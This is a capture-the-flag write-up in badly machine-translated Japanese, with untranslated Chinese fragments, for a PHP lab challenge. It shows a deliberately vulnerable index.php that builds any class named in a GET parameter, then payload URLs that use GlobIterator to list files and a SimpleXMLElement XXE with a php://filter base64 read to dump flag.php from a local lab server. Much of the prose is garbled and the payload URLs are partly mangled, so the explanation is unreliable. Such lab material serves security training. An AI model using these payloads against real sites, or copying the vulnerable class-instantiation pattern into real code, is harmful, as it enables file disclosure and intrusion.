運動の記録
コードを再現:
index.phpを
<?php
class NotFound{
function __construct()
{
die('404');
}
}
spl_autoload_register(
function ($class){
new NotFound();
}
);
$classname = isset($_GET['name']) ? $_GET['name'] : null;
$param = isset($_GET['param']) ? $_GET['param'] : null;
$param2 = isset($_GET['param2']) ? $_GET['param2'] : null;
if(class_exists($classname)){
$newclass = new $classname($param,$param2);
var_dump($newclass);
foreach ($newclass as $key=>$value)
echo $key.'=>'.$value.'<br>';
}
flag.php
<?php
$flag = "HRCTF{X33_W1tH_S1mpl3Xml3l3m3nt}";
?>
脆弱性分析:
サイトを入力します。
http://192.168.1.139/PHPcode/day3/
正しくページを発見、あなたが動作することができます。
この質問はある検討されています实例化漏洞结合XXE漏洞
。我々は、ライン上に図16:
if(class_exists($classname)){
使用して見ることができclass_exists
、それが存在しない場合は、プログラム呼び出し、クラスがあるかどうかを判断する機能を__autoload
機能を、
しかし何もありません__autoload
関数は、しかしでspl_autoload_register
登録された類似し__autoload
、ここで404の情報を出力する関数で役割。
class NotFound{
function __construct()
{
die('404');
}
}
ここではPHPの直接使用内置类
、最初のGlobIterator
クラスの検索flag文件
名。
GlobIteratorクラスのコンストラクタが定義されます。
(PHP 5> = 5.3.0、PHP 7)
特長:
グロブのようなファイルシステムの振る舞いをトラバース()。
public GlobIterator::__construct ( string $pattern [, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO ] )
最初のパラメータは、検索対象のファイル名で、キーとしてどの情報ファイル名を選択するための2番目のパラメータは、ここで私が使用することを選択しFilesystemIterator::CURRENT_AS_FILEINFO
、対応する定数値が0である、あなたがすることができ、ここでこれらの定数の値を見つけ、最終的なファイルの検索
、次のようにペイロードを:
http://192.168.1.139/PHPcode/day3/?name=GlobIterator¶m=./*.php¶m2=0
結果:
私たちが見つけるflag
という名前のファイルをflag.php
、我々はビルトインクラスの使用、その後は、SimpleXMLElement
読み込みflag.php
ファイルがあるときので、我々は、フローと組み合わせて使用するようにPHPを使用してここで,,ファイルの内容を: < > & ' "
5つのシンボルは、XMLファイルの解析になりますとき間違っているので、ここでは、ファイルの内容を一読されるように、PHPファイルのストリームを使用しbase64编码
、次のように特定のペイロードに出力:
http://192.168.1.139/PHPcode/day3/?name=SimpleXMLElement¶m=<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=./flag.php">]><x>%26xxe;</x>¶m2=0
結果: